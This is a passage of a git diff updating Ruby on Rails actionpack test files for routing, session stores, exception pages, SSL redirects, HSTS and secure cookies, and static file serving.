'test#index', @response.body # But the Rack app can still respond to its own HEAD requests. head '/foobar' @@ -3505,6 +3589,43 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest assert_equal 'HEAD', @response.body end + def test_passing_action_parameters_to_url_helpers_raises_error_if_parameters_are_not_permitted + draw do + root :to => 'projects#index' + end + params = ActionController::Parameters.new(id: '1') + + assert_raises ArgumentError do + root_path(params) + end + end + + def test_passing_action_parameters_to_url_helpers_is_allowed_if_parameters_are_permitted + draw do + root :to => 'projects#index' + end + params = ActionController::Parameters.new(id: '1') + params.permit! + + assert_equal '/?id=1', root_path(params) + end + + def test_dynamic_controller_segments_are_deprecated + assert_deprecated do + draw do + get '/:controller', action: 'index' + end + end + end + + def test_dynamic_action_segments_are_deprecated + assert_deprecated do + draw do + get '/pages/:action', controller: 'pages' + end + end + end + private def draw(&block) @@ -3547,7 +3668,7 @@ private end class TestAltApp < ActionDispatch::IntegrationTest - class AltRequest + class AltRequest < ActionDispatch::Request attr_accessor :path_parameters, :path_info, :script_name attr_reader :env @@ -3556,6 +3677,7 @@ class TestAltApp < ActionDispatch::IntegrationTest @env = env @path_info = "/" @script_name = "" + super end def request_method @@ -3655,7 +3777,7 @@ class TestNamespaceWithControllerOption < ActionDispatch::IntegrationTest module ::Admin class StorageFilesController < ActionController::Base def index - render :text => "admin/storage_files#index" + render plain: "admin/storage_files#index" end end end @@ -3750,7 +3872,7 @@ class TestDefaultScope < ActionDispatch::IntegrationTest module ::Blog class PostsController < ActionController::Base def index - render :text => "blog/posts#index" + render plain: "blog/posts#index" end end end @@ -3869,16 +3991,6 @@ class TestUnicodePaths < ActionDispatch::IntegrationTest end class TestMultipleNestedController < ActionDispatch::IntegrationTest - module ::Foo - module Bar - class BazController < ActionController::Base - def index - render :inline => "<%= url_for :controller => '/pooh', :action => 'index' %>" - end - end - end - end - Routes = ActionDispatch::Routing::RouteSet.new.tap do |app| app.draw do namespace :foo do @@ -3890,7 +4002,18 @@ class TestMultipleNestedController < ActionDispatch::IntegrationTest end end - include Routes.url_helpers + module ::Foo + module Bar + class BazController < ActionController::Base + include Routes.url_helpers + + def index + render :inline => "<%= url_for :controller => '/pooh', :action => 'index' %>" + end + end + end + end + APP = build_app Routes def app; APP end @@ -4027,7 +4150,11 @@ class TestOptimizedNamedRoutes < ActionDispatch::IntegrationTest app.draw do ok = lambda { |env| [200, { 'Content-Type' => 'text/plain' }, []] } get '/foo' => ok, as: :foo - get '/post(/:action(/:id))' => ok, as: :posts + + ActiveSupport::Deprecation.silence do + get '/post(/:action(/:id))' => ok, as: :posts + end + get '/:foo/:foo_type/bars/:id' => ok, as: :bar get '/projects/:id.:format' => ok, as: :project get '/pages/:id' => ok, as: :page @@ -4090,13 +4217,13 @@ end class TestNamedRouteUrlHelpers < ActionDispatch::IntegrationTest class CategoriesController < ActionController::Base def show - render :text => "categories#show" + render plain: "categories#show" end end class ProductsController < ActionController::Base def show - render :text => "products#show" + render plain: "products#show" end end @@ -4115,11 +4242,11 @@ class TestNamedRouteUrlHelpers < ActionDispatch::IntegrationTest include Routes.url_helpers test "url helpers do not ignore nil parameters when using non-optimized routes" do - Routes.stubs(:optimize_routes_generation?).returns(false) - - get "/categories/1" - assert_response :success - assert_raises(ActionController::UrlGenerationError) { product_path(nil) } + Routes.stub :optimize_routes_generation?, false do + get "/categories/1" + assert_response :success + assert_raises(ActionController::UrlGenerationError) { product_path(nil) } + end end end @@ -4191,17 +4318,22 @@ end class TestInvalidUrls < ActionDispatch::IntegrationTest class FooController < ActionController::Base def show - render :text => "foo#show" + render plain: "foo#show" end end test "invalid UTF-8 encoding returns a 400 Bad Request" do with_routing do |set| - set.draw do - get "/bar/:id", :to => redirect("/foo/show/%{id}") - get "/foo/show(/:id)", :to => "test_invalid_urls/foo#show" - get "/foo(/:action(/:id))", :controller => "test_invalid_urls/foo" - get "/:controller(/:action(/:id))" + ActiveSupport::Deprecation.silence do + set.draw do + get "/bar/:id", :to => redirect("/foo/show/%{id}") + get "/foo/show(/:id)", :to => "test_invalid_urls/foo#show" + + ActiveSupport::Deprecation.silence do + get "/foo(/:action(/:id))", :controller => "test_invalid_urls/foo" + get "/:controller(/:action(/:id))" + end + end end get "/%E2%EF%BF%BD%A6" @@ -4476,12 +4608,25 @@ class TestUrlGenerationErrors < ActionDispatch::IntegrationTest error = assert_raises(ActionController::UrlGenerationError, message){ product_path(id: nil) } assert_equal message, error.message end + + test "url helpers raise message with mixed parameters when generation fails " do + url, missing = { action: 'show', controller: 'products', id: nil, "id"=>"url-tested"}, [:id] + message = "No route matches #{url.inspect} missing required keys: #{missing.inspect}" + + # Optimized url helper + error = assert_raises(ActionController::UrlGenerationError){ product_path(nil, 'id'=>'url-tested') } + assert_equal message, error.message + + # Non-optimized url helper + error = assert_raises(ActionController::UrlGenerationError, message){ product_path(id: nil, 'id'=>'url-tested') } + assert_equal message, error.message + end end class TestDefaultUrlOptions < ActionDispatch::IntegrationTest class PostsController < ActionController::Base def archive - render :text => "posts#archive" + render plain: "posts#archive" end end @@ -4505,3 +4650,148 @@ class TestDefaultUrlOptions < ActionDispatch::IntegrationTest assert_equal '/en/posts/2014/12/13', archived_posts_path(2014, 12, 13) end end + +class TestErrorsInController < ActionDispatch::IntegrationTest + class ::PostsController < ActionController::Base + def foo + nil.i_do_not_exist + end + + def bar + NonExistingClass.new + end + end + + Routes = ActionDispatch::Routing::RouteSet.new + Routes.draw do + ActiveSupport::Deprecation.silence do + get '/:controller(/:action)' + end + end + + APP = build_app Routes + + def app + APP + end + + def test_legit_no_method_errors_are_not_caught + get '/posts/foo' + assert_equal 500, response.status + end + + def test_legit_name_errors_are_not_caught + get '/posts/bar' + assert_equal 500, response.status + end + + def test_legit_routing_not_found_responses + get '/posts/baz' + assert_equal 404, response.status + + get '/i_do_not_exist' + assert_equal 404, response.status + end +end + +class TestPartialDynamicPathSegments < ActionDispatch::IntegrationTest + Routes = ActionDispatch::Routing::RouteSet.new + Routes.draw do + ok = lambda { |env| [200, { 'Content-Type' => 'text/plain' }, []] } + + get '/songs/song-:song', to: ok + get '/songs/:song-song', to: ok + get '/:artist/song-:song', to: ok + get '/:artist/:song-song', to: ok + + get '/optional/songs(/song-:song)', to: ok + get '/optional/songs(/:song-song)', to: ok + get '/optional/:artist(/song-:song)', to: ok + get '/optional/:artist(/:song-song)', to: ok + end + + APP = build_app Routes + + def app + APP + end + + def test_paths_with_partial_dynamic_segments_are_recognised + get '/david-bowie/changes-song' + assert_equal 200, response.status + assert_params artist: 'david-bowie', song: 'changes' + + get '/david-bowie/song-changes' + assert_equal 200, response.status + assert_params artist: 'david-bowie', song: 'changes' + + get '/songs/song-changes' + assert_equal 200, response.status + assert_params song: 'changes' + + get '/songs/changes-song' + assert_equal 200, response.status + assert_params song: 'changes' + + get '/optional/songs/song-changes' + assert_equal 200, response.status + assert_params song: 'changes' + + get '/optional/songs/changes-song' + assert_equal 200, response.status + assert_params song: 'changes' + + get '/optional/david-bowie/changes-song' + assert_equal 200, response.status + assert_params artist: 'david-bowie', song: 'changes' + + get '/optional/david-bowie/song-changes' + assert_equal 200, response.status + assert_params artist: 'david-bowie', song: 'changes' + end + + private + + def assert_params(params) + assert_equal(params, request.path_parameters) + end +end + +class TestPathParameters < ActionDispatch::IntegrationTest + Routes = ActionDispatch::Routing::RouteSet.new.tap do |app| + app.draw do + scope module: 'test_path_parameters' do + scope ':locale', locale: /en|ar/ do + root to: 'home#index' + get '/about', to: 'pages#about' + end + end + + get ':controller(/:action/(:id))' + end + end + + class HomeController < ActionController::Base + include Routes.url_helpers + + def index + render inline: "<%= root_path %>" + end + end + + class PagesController < ActionController::Base + include Routes.url_helpers + + def about + render inline: "<%= root_path(locale: :ar) %> | <%= url_for(locale: :ar) %>" + end + end + + APP = build_app Routes + def app; APP end + + def test_path_parameters_are_not_mutated + get '/en/about' + assert_equal "/ar | /ar/about", @response.body + end +end diff --git a/actionpack/test/dispatch/session/abstract_store_test.rb b/actionpack/test/dispatch/session/abstract_store_test.rb index fe1a7b4f86..d38d1bbce6 100644 --- a/actionpack/test/dispatch/session/abstract_store_test.rb +++ b/actionpack/test/dispatch/session/abstract_store_test.rb @@ -10,13 +10,13 @@ module ActionDispatch super end - def get_session(env, sid) + def find_session(env, sid) sid ||= 1 session = @sessions[sid] ||= {} [sid, session] end - def set_session(env, sid, session, options) + def write_session(env, sid, session, options) @sessions[sid] = session end end @@ -27,7 +27,7 @@ module ActionDispatch as.call(env) assert @env - assert Request::Session.find @env + assert Request::Session.find ActionDispatch::Request.new @env end def test_new_session_object_is_merged_with_old @@ -36,11 +36,11 @@ module ActionDispatch as.call(env) assert @env - session = Request::Session.find @env + session = Request::Session.find ActionDispatch::Request.new @env session['foo'] = 'bar' as.call(@env) - session1 = Request::Session.find @env + session1 = Request::Session.find ActionDispatch::Request.new @env assert_not_equal session, session1 assert_equal session.to_hash, session1.to_hash diff --git a/actionpack/test/dispatch/session/cache_store_test.rb b/actionpack/test/dispatch/session/cache_store_test.rb index 22a46b0930..769de1a1e0 100644 --- a/actionpack/test/dispatch/session/cache_store_test.rb +++ b/actionpack/test/dispatch/session/cache_store_test.rb @@ -18,11 +18,11 @@ class CacheStoreTest < ActionDispatch::IntegrationTest end def get_session_value - render :text => "foo: #{session[:foo].inspect}" + render plain: "foo: #{session[:foo].inspect}" end def get_session_id - render :text => "#{request.session.id}" + render plain: "#{request.session.id}" end def call_reset_session @@ -164,13 +164,15 @@ class CacheStoreTest < ActionDispatch::IntegrationTest def with_test_route_set with_routing do |set| set.draw do - get ':action', :to => ::CacheStoreTest::TestController + ActiveSupport::Deprecation.silence do + get ':action', :to => ::CacheStoreTest::TestController + end end @app = self.class.build_app(set) do |middleware| @cache = ActiveSupport::Cache::MemoryStore.new middleware.use ActionDispatch::Session::CacheStore, :key => '_session_id', :cache => @cache - middleware.delete "ActionDispatch::ShowExceptions" + middleware.delete ActionDispatch::ShowExceptions end yield diff --git a/actionpack/test/dispatch/session/cookie_store_test.rb b/actionpack/test/dispatch/session/cookie_store_test.rb index e7f4235de8..09cb1d925f 100644 --- a/actionpack/test/dispatch/session/cookie_store_test.rb +++ b/actionpack/test/dispatch/session/cookie_store_test.rb @@ -16,25 +16,25 @@ class CookieStoreTest < ActionDispatch::IntegrationTest end def persistent_session_id - render :text => session[:session_id] + render plain: session[:session_id] end def set_session_value session[:foo] = "bar" - render :text => Rack::Utils.escape(Verifier.generate(session.to_hash)) + render plain: Rack::Utils.escape(Verifier.generate(session.to_hash)) end def get_session_value - render :text => "foo: #{session[:foo].inspect}" + render plain: "foo: #{session[:foo].inspect}" end def get_session_id - render :text => "id: #{request.session.id}" + render plain: "id: #{request.session.id}" end def get_class_after_reset_session reset_session - render :text => "class: #{session.class}" + render plain: "class: #{session.class}" end def call_session_clear @@ -274,28 +274,32 @@ class CookieStoreTest < ActionDispatch::IntegrationTest with_test_route_set(:expire_after => 5.hours) do # First request accesses the session time = Time.local(2008, 4, 24) - Time.stubs(:now).returns(time) - expected_expiry = (time + 5.hours).gmtime.strftime("%a, %d %b %Y %H:%M:%S -0000") + cookie_body = nil - cookies[SessionKey] = SignedBar + Time.stub :now, time do + expected_expiry = (time + 5.hours).gmtime.strftime("%a, %d %b %Y %H:%M:%S -0000") - get '/set_session_value' - assert_response :success + cookies[SessionKey] = SignedBar - cookie_body = response.body - assert_equal "_myapp_session=#{cookie_body}; path=/; expires=#{expected_expiry}; HttpOnly", - headers['Set-Cookie'] + get '/set_session_value' + assert_response :success + + cookie_body = response.body + assert_equal "_myapp_session=#{cookie_body}; path=/; expires=#{expected_expiry}; HttpOnly", + headers['Set-Cookie'] + end # Second request does not access the session time = Time.local(2008, 4, 25) - Time.stubs(:now).returns(time) - expected_expiry = (time + 5.hours).gmtime.strftime("%a, %d %b %Y %H:%M:%S -0000") + Time.stub :now, time do + expected_expiry = (time + 5.hours).gmtime.strftime("%a, %d %b %Y %H:%M:%S -0000") - get '/no_session_access' - assert_response :success + get '/no_session_access' + assert_response :success - assert_equal "_myapp_session=#{cookie_body}; path=/; expires=#{expected_expiry}; HttpOnly", - headers['Set-Cookie'] + assert_equal "_myapp_session=#{cookie_body}; path=/; expires=#{expected_expiry}; HttpOnly", + headers['Set-Cookie'] + end end end @@ -341,14 +345,16 @@ class CookieStoreTest < ActionDispatch::IntegrationTest def with_test_route_set(options = {}) with_routing do |set| set.draw do - get ':action', :to => ::CookieStoreTest::TestController + ActiveSupport::Deprecation.silence do + get ':action', :to => ::CookieStoreTest::TestController + end end options = { :key => SessionKey }.merge!(options) @app = self.class.build_app(set) do |middleware| middleware.use ActionDispatch::Session::CookieStore, options - middleware.delete "ActionDispatch::ShowExceptions" + middleware.delete ActionDispatch::ShowExceptions end yield diff --git a/actionpack/test/dispatch/session/mem_cache_store_test.rb b/actionpack/test/dispatch/session/mem_cache_store_test.rb index 9a5d5131c0..18cb227dad 100644 --- a/actionpack/test/dispatch/session/mem_cache_store_test.rb +++ b/actionpack/test/dispatch/session/mem_cache_store_test.rb @@ -19,11 +19,11 @@ class MemCacheStoreTest < ActionDispatch::IntegrationTest end def get_session_value - render :text => "foo: #{session[:foo].inspect}" + render plain: "foo: #{session[:foo].inspect}" end def get_session_id - render :text => "#{request.session.id}" + render plain: "#{request.session.id}" end def call_reset_session @@ -187,12 +187,14 @@ class MemCacheStoreTest < ActionDispatch::IntegrationTest def with_test_route_set with_routing do |set| set.draw do - get ':action', :to => ::MemCacheStoreTest::TestController + ActiveSupport::Deprecation.silence do + get ':action', :to => ::MemCacheStoreTest::TestController + end end @app = self.class.build_app(set) do |middleware| middleware.use ActionDispatch::Session::MemCacheStore, :key => '_session_id', :namespace => "mem_cache_store_test:#{SecureRandom.hex(10)}" - middleware.delete "ActionDispatch::ShowExceptions" + middleware.delete ActionDispatch::ShowExceptions end yield diff --git a/actionpack/test/dispatch/session/test_session_test.rb b/actionpack/test/dispatch/session/test_session_test.rb index d30461a623..3e61d123e3 100644 --- a/actionpack/test/dispatch/session/test_session_test.rb +++ b/actionpack/test/dispatch/session/test_session_test.rb @@ -40,4 +40,24 @@ class ActionController::TestSessionTest < ActiveSupport::TestCase assert_equal %w(one two), session.keys assert_equal %w(1 2), session.values end + + def test_fetch_returns_default + session = ActionController::TestSession.new(one: '1') + assert_equal('2', session.fetch(:two, '2')) + end + + def test_fetch_on_symbol_returns_value + session = ActionController::TestSession.new(one: '1') + assert_equal('1', session.fetch(:one)) + end + + def test_fetch_on_string_returns_value + session = ActionController::TestSession.new(one: '1') + assert_equal('1', session.fetch('one')) + end + + def test_fetch_returns_block_value + session = ActionController::TestSession.new(one: '1') + assert_equal(2, session.fetch('2') { |key| key.to_i }) + end end diff --git a/actionpack/test/dispatch/show_exceptions_test.rb b/actionpack/test/dispatch/show_exceptions_test.rb index 72eaa916bc..14894d4b82 100644 --- a/actionpack/test/dispatch/show_exceptions_test.rb +++ b/actionpack/test/dispatch/show_exceptions_test.rb @@ -8,14 +8,22 @@ class ShowExceptionsTest < ActionDispatch::IntegrationTest case req.path when "/not_found" raise AbstractController::ActionNotFound - when "/bad_params" - raise ActionDispatch::ParamsParser::ParseError.new("", StandardError.new) + when "/bad_params", "/bad_params.json" + begin + raise StandardError.new + rescue + raise ActionDispatch::ParamsParser::ParseError + end when "/method_not_allowed" - raise ActionController::MethodNotAllowed + raise ActionController::MethodNotAllowed, 'PUT' when "/unknown_http_method" raise ActionController::UnknownHttpMethod when "/not_found_original_exception" - raise ActionView::Template::Error.new('template', AbstractController::ActionNotFound.new) + begin + raise AbstractController::ActionNotFound.new + rescue + raise ActionView::Template::Error.new('template') + end else raise "puke!" end @@ -93,13 +101,13 @@ class ShowExceptionsTest < ActionDispatch::IntegrationTest assert_kind_of AbstractController::ActionNotFound, env["action_dispatch.exception"] assert_equal "/404", env["PATH_INFO"] assert_equal "/not_found_original_exception", env["action_dispatch.original_path"] - [404, { "Content-Type" => "text/plain" }, ["YOU FAILED BRO"]] + [404, { "Content-Type" => "text/plain" }, ["YOU FAILED"]] end @app = ActionDispatch::ShowExceptions.new(Boomer.new, exceptions_app) get "/not_found_original_exception", headers: { 'action_dispatch.show_exceptions' => true } assert_response 404 - assert_equal "YOU FAILED BRO", body + assert_equal "YOU FAILED", body end test "returns an empty response if custom exceptions app returns X-Cascade pass" do @@ -112,4 +120,18 @@ class ShowExceptionsTest < ActionDispatch::IntegrationTest assert_response 405 assert_equal "", body end + + test "bad params exception is returned in the correct format" do + @app = ProductionApp + + get "/bad_params", headers: { 'action_dispatch.show_exceptions' => true } + assert_equal "text/html; charset=utf-8", response.headers["Content-Type"] + assert_response 400 + assert_match(/400 error/, body) + + get "/bad_params.json", headers: { 'action_dispatch.show_exceptions' => true } + assert_equal "application/json; charset=utf-8", response.headers["Content-Type"] + assert_response 400 + assert_equal("{\"status\":400,\"error\":\"Bad Request\"}", body) + end end diff --git a/actionpack/test/dispatch/ssl_test.rb b/actionpack/test/dispatch/ssl_test.rb index 7ced41bc2e..668b2b6cfe 100644 --- a/actionpack/test/dispatch/ssl_test.rb +++ b/actionpack/test/dispatch/ssl_test.rb @@ -1,219 +1,230 @@ require 'abstract_unit' class SSLTest < ActionDispatch::IntegrationTest - def default_app - lambda { |env| - headers = {'Content-Type' => "text/html"} - headers['Set-Cookie'] = "id=1; path=/\ntoken=abc; path=/; secure; HttpOnly" - [200, headers, ["OK"]] + HEADERS = Rack::Utils::HeaderHash.new 'Content-Type' => 'text/html' + + attr_accessor :app + + def build_app(headers: {}, ssl_options: {}) + headers = HEADERS.merge(headers) + ActionDispatch::SSL.new lambda { |env| [200, headers, []] }, ssl_options.reverse_merge(hsts: { subdomains: true }) + end +end + +class RedirectSSLTest < SSLTest + + def assert_not_redirected(url, headers: {}, redirect: {}, deprecated_host: nil, + deprecated_port: nil) + + self.app = build_app ssl_options: { redirect: redirect, + host: deprecated_host, port: deprecated_port } + + get url, headers: headers + assert_response :ok end - def app - @app ||= ActionDispatch::SSL.new(default_app) + def assert_redirected(redirect: {}, deprecated_host: nil, deprecated_port: nil, + from: 'http://a/b?c=d', to: from.sub('http', 'https')) + + redirect = { status: 301, body: [] }.merge(redirect) + + self.app = build_app ssl_options: { redirect: redirect, + host: deprecated_host, port: deprecated_port + } + + get from + assert_response redirect[:status] || 301 + assert_redirected_to to + assert_equal redirect[:body].join, @response.body end - attr_writer :app - def test_allows_https_url - get "https://example.org/path?key=value" - assert_response :success + test 'exclude can avoid redirect' do + excluding = { exclude: -> request { request.path =~ /healthcheck/ } } + + assert_not_redirected 'http://example.org/healthcheck', redirect: excluding + assert_redirected from: 'http://example.org/', redirect: excluding end - def test_allows_https_proxy_header_url - get "http://example.org/", headers: { 'HTTP_X_FORWARDED_PROTO' => "https" } - assert_response :success + test 'https is not redirected' do + assert_not_redirected 'https://example.org' end - def test_redirects_http_to_https - get "http://example.org/path?key=value" - assert_response :redirect - assert_equal "https://example.org/path?key=value", - response.headers['Location'] + test 'proxied https is not redirected' do + assert_not_redirected 'http://example.org', headers: { 'HTTP_X_FORWARDED_PROTO' => 'https' } end - def test_hsts_header_by_default - get "https://example.org/" - assert_equal "max-age=31536000", - response.headers['Strict-Transport-Security'] + test 'http is redirected to https' do + assert_redirected end - def test_no_hsts_with_insecure_connection - get "http://example.org/" - assert_not response.headers['Strict-Transport-Security'] + test 'redirect with non-301 status' do + assert_redirected redirect: { status: 307 } end - def test_hsts_header - self.app = ActionDispatch::SSL.new(default_app, :hsts => true) - get "https://example.org/" - assert_equal "max-age=31536000", - response.headers['Strict-Transport-Security'] + test 'redirect with custom body' do + assert_redirected redirect: { body: ['foo'] } end - def test_disable_hsts_header - self.app = ActionDispatch::SSL.new(default_app, :hsts => false) - get "https://example.org/" - assert_not response.headers['Strict-Transport-Security'] + test 'redirect to specific host' do + assert_redirected redirect: { host: 'ssl' }, to: 'https://ssl/b?c=d' end - def test_hsts_expires - self.app = ActionDispatch::SSL.new(default_app, :hsts => { :expires => 500 }) - get "https://example.org/" - assert_equal "max-age=500", - response.headers['Strict-Transport-Security'] + test 'redirect to default port' do + assert_redirected redirect: { port: 443 } end - def test_hsts_expires_with_duration - self.app = ActionDispatch::SSL.new(default_app, :hsts => { :expires => 1.year }) - get "https://example.org/" - assert_equal "max-age=31557600", - response.headers['Strict-Transport-Security'] + test 'redirect to non-default port' do + assert_redirected redirect: { port: 8443 }, to: 'https://a:8443/b?c=d' end - def test_hsts_include_subdomains - self.app = ActionDispatch::SSL.new(default_app, :hsts => { :subdomains => true }) - get "https://example.org/" - assert_equal "max-age=31536000; includeSubDomains", - response.headers['Strict-Transport-Security'] + test 'redirect to different host and non-default port' do + assert_redirected redirect: { host: 'ssl', port: 8443 }, to: 'https://ssl:8443/b?c=d' end - def test_flag_cookies_as_secure - get "https://example.org/" - assert_equal ["id=1; path=/; secure", "token=abc; path=/; secure; HttpOnly" ], - response.headers['Set-Cookie'].split("\n") + test 'redirect to different host including port' do + assert_redirected redirect: { host: 'ssl:443' }, to: 'https://ssl:443/b?c=d' end - def test_flag_cookies_as_secure_at_end_of_line - self.app = ActionDispatch::SSL.new(lambda { |env| - headers = { - 'Content-Type' => "text/html", - 'Set-Cookie' => "problem=def; path=/; HttpOnly; secure" - } - [200, headers, ["OK"]] - }) + test ':host is deprecated, moved within redirect: { host: … }' do + assert_deprecated do + assert_redirected deprecated_host: 'foo', to: 'https://foo/b?c=d' + end + end - get "https://example.org/" - assert_equal ["problem=def; path=/; HttpOnly; secure"], - response.headers['Set-Cookie'].split("\n") + test ':port is deprecated, moved within redirect: { port: … }' do + assert_deprecated do + assert_redirected deprecated_port: 1, to: 'https://a:1/b?c=d' + end end - def test_flag_cookies_as_secure_with_more_spaces_before - self.app = ActionDispatch::SSL.new(lambda { |env| - headers = { - 'Content-Type' => "text/html", - 'Set-Cookie' => "problem=def; path=/; HttpOnly; secure" - } - [200, headers, ["OK"]] - }) + test 'no redirect with redirect set to false' do + assert_not_redirected 'http://example.org', redirect: false + end +end + +class StrictTransportSecurityTest < SSLTest + EXPECTED = 'max-age=15552000' + EXPECTED_WITH_SUBDOMAINS = 'max-age=15552000; includeSubDomains' - get "https://example.org/" - assert_equal ["problem=def; path=/; HttpOnly; secure"], - response.headers['Set-Cookie'].split("\n") + def assert_hsts(expected, url: 'https://example.org', hsts: { subdomains: true }, headers: {}) + self.app = build_app ssl_options: { hsts: hsts }, headers: headers + get url + assert_equal expected, response.headers['Strict-Transport-Security'] end - def test_flag_cookies_as_secure_with_more_spaces_after - self.app = ActionDispatch::SSL.new(lambda { |env| - headers = { - 'Content-Type' => "text/html", - 'Set-Cookie' => "problem=def; path=/; secure; HttpOnly" - } - [200, headers, ["OK"]] - }) + test 'enabled by default' do + assert_hsts EXPECTED_WITH_SUBDOMAINS + end - get "https://example.org/" - assert_equal ["problem=def; path=/; secure; HttpOnly"], - response.headers['Set-Cookie'].split("\n") + test 'not sent with http:// responses' do + assert_hsts nil, url: 'http://example.org' end + test 'defers to app-provided header' do + assert_hsts 'app-provided', headers: { 'Strict-Transport-Security' => 'app-provided' } + end - def test_flag_cookies_as_secure_with_has_not_spaces_before - self.app = ActionDispatch::SSL.new(lambda { |env| - headers = { - 'Content-Type' => "text/html", - 'Set-Cookie' => "problem=def; path=/;secure; HttpOnly" - } - [200, headers, ["OK"]] - }) + test 'hsts: true enables default settings' do + assert_hsts EXPECTED, hsts: true + end - get "https://example.org/" - assert_equal ["problem=def; path=/;secure; HttpOnly"], - response.headers['Set-Cookie'].split("\n") + test 'hsts: false sets max-age to zero, clearing browser HSTS settings' do + assert_hsts 'max-age=0', hsts: false end - def test_flag_cookies_as_secure_with_has_not_spaces_after - self.app = ActionDispatch::SSL.new(lambda { |env| - headers = { - 'Content-Type' => "text/html", - 'Set-Cookie' => "problem=def; path=/; secure;HttpOnly" - } - [200, headers, ["OK"]] - }) + test ':expires sets max-age' do + assert_deprecated do + assert_hsts 'max-age=500', hsts: { expires: 500 } + end + end - get "https://example.org/" - assert_equal ["problem=def; path=/; secure;HttpOnly"], - response.headers['Set-Cookie'].split("\n") + test ':expires supports AS::Duration arguments' do + assert_deprecated do + assert_hsts 'max-age=31557600', hsts: { expires: 1.year } + end end - def test_flag_cookies_as_secure_with_ignore_case - self.app = ActionDispatch::SSL.new(lambda { |env| - headers = { - 'Content-Type' => "text/html", - 'Set-Cookie' => "problem=def; path=/; Secure; HttpOnly" - } - [200, headers, ["OK"]] - }) + test 'include subdomains' do + assert_hsts "#{EXPECTED}; includeSubDomains", hsts: { subdomains: true } + end - get "https://example.org/" - assert_equal ["problem=def; path=/; Secure; HttpOnly"], - response.headers['Set-Cookie'].split("\n") + test 'exclude subdomains' do + assert_hsts EXPECTED, hsts: { subdomains: false } end - def test_no_cookies - self.app = ActionDispatch::SSL.new(lambda { |env| - [200, {'Content-Type' => "text/html"}, ["OK"]] - }) - get "https://example.org/" - assert !response.headers['Set-Cookie'] + test 'opt in to browser preload lists' do + assert_deprecated do + assert_hsts "#{EXPECTED}; preload", hsts: { preload: true } + end + end + + test 'opt out of browser preload lists' do + assert_deprecated do + assert_hsts EXPECTED, hsts: { preload: false } + end + end +end + +class SecureCookiesTest < SSLTest + DEFAULT = %(id=1; path=/\ntoken=abc; path=/; secure; HttpOnly) + + def get(**options) + self.app = build_app(**options) + super 'https://example.org' end - def test_redirect_to_host - self.app = ActionDispatch::SSL.new(default_app, :host => "ssl.example.org") - get "http://example.org/path?key=value" - assert_equal "https://ssl.example.org/path?key=value", - response.headers['Location'] + def assert_cookies(*expected) + assert_equal expected, response.headers['Set-Cookie'].split("\n") end - def test_redirect_to_port - self.app = ActionDispatch::SSL.new(default_app, :port => 8443) - get "http://example.org/path?key=value" - assert_equal "https://example.org:8443/path?key=value", - response.headers['Location'] + def test_flag_cookies_as_secure + get headers: { 'Set-Cookie' => DEFAULT } + assert_cookies 'id=1; path=/; secure', 'token=abc; path=/; secure; HttpOnly' end - def test_redirect_to_host_and_port - self.app = ActionDispatch::SSL.new(default_app, :host => "ssl.example.org", :port => 8443) - get "http://example.org/path?key=value" - assert_equal "https://ssl.example.org:8443/path?key=value", - response.headers['Location'] + def test_flag_cookies_as_secure_at_end_of_line + get headers: { 'Set-Cookie' => 'problem=def; path=/; HttpOnly; secure' } + assert_cookies 'problem=def; path=/; HttpOnly; secure' end - def test_redirect_to_host_with_port - self.app = ActionDispatch::SSL.new(default_app, :host => "ssl.example.org:443") - get "http://example.org/path?key=value" - assert_equal "https://ssl.example.org:443/path?key=value", - response.headers['Location'] + def test_flag_cookies_as_secure_with_more_spaces_before + get headers: { 'Set-Cookie' => 'problem=def; path=/; HttpOnly; secure' } + assert_cookies 'problem=def; path=/; HttpOnly; secure' end - def test_redirect_to_secure_host_when_on_subdomain - self.app = ActionDispatch::SSL.new(default_app, :host => "ssl.example.org") - get "http://ssl.example.org/path?key=value" - assert_equal "https://ssl.example.org/path?key=value", - response.headers['Location'] + def test_flag_cookies_as_secure_with_more_spaces_after + get headers: { 'Set-Cookie' => 'problem=def; path=/; secure; HttpOnly' } + assert_cookies 'problem=def; path=/; secure; HttpOnly' + end + + def test_flag_cookies_as_secure_with_has_not_spaces_before + get headers: { 'Set-Cookie' => 'problem=def; path=/;secure; HttpOnly' } + assert_cookies 'problem=def; path=/;secure; HttpOnly' + end + + def test_flag_cookies_as_secure_with_has_not_spaces_after + get headers: { 'Set-Cookie' => 'problem=def; path=/; secure;HttpOnly' } + assert_cookies 'problem=def; path=/; secure;HttpOnly' + end + + def test_flag_cookies_as_secure_with_ignore_case + get headers: { 'Set-Cookie' => 'problem=def; path=/; Secure; HttpOnly' } + assert_cookies 'problem=def; path=/; Secure; HttpOnly' + end + + def test_cookies_as_not_secure_with_secure_cookies_disabled + get headers: { 'Set-Cookie' => DEFAULT }, ssl_options: { secure_cookies: false } + assert_cookies(*DEFAULT.split("\n")) + end + + def test_no_cookies + get + assert_nil response.headers['Set-Cookie'] end - def test_redirect_to_secure_subdomain_when_on_deep_subdomain - self.app = ActionDispatch::SSL.new(default_app, :host => "example.co.uk") - get "http://double.rainbow.what.does.it.mean.example.co.uk/path?key=value" - assert_equal "https://example.co.uk/path?key=value", - response.headers['Location'] + def test_keeps_original_headers_behavior + get headers: { 'Connection' => %w[close] } + assert_equal 'close', response.headers['Connection'] end end diff --git a/actionpack/test/dispatch/static_test.rb b/actionpack/test/dispatch/static_test.rb index 288a2084f6..ea8b5e904e 100644 --- a/actionpack/test/dispatch/static_test.rb +++ b/actionpack/test/dispatch/static_test.rb @@ -2,6 +2,24 @@ require 'abstract_unit' require 'zlib' module StaticTests + DummyApp = lambda { |env| + [200, {"Content-Type" => "text/plain"}, ["Hello, World!"]] + } + + def setup + silence_warnings do + @default_internal_encoding = Encoding.default_internal + @default_external_encoding = Encoding.default_external + end + end + + def teardown + silence_warnings do + Encoding.default_internal = @default_internal_encoding + Encoding.default_external = @default_external_encoding + end + end + def test_serves_dynamic_content assert_equal "Hello, World!", get("/nofile").body end @@ -10,8 +28,28 @@ module StaticTests assert_equal "Hello, World!", get("/doorkeeper%E3E4").body end + def test_handles_urls_with_ascii_8bit + assert_equal "Hello, World!", get("/doorkeeper%E3E4".force_encoding('ASCII-8BIT')).body + end + + def test_handles_urls_with_ascii_8bit_on_win_31j + silence_warnings do + Encoding.default_internal = "Windows-31J" + Encoding.default_external = "Windows-31J" + end + assert_equal "Hello, World!", get("/doorkeeper%E3E4".force_encoding('ASCII-8BIT')).body + end + + def test_handles_urls_with_null_byte + assert_equal "Hello, World!", get("/doorkeeper%00").body + end + def test_sets_cache_control - response = get("/index.html") + app = assert_deprecated do + ActionDispatch::Static.new(DummyApp, @root, "public, max-age=60") + end + response = 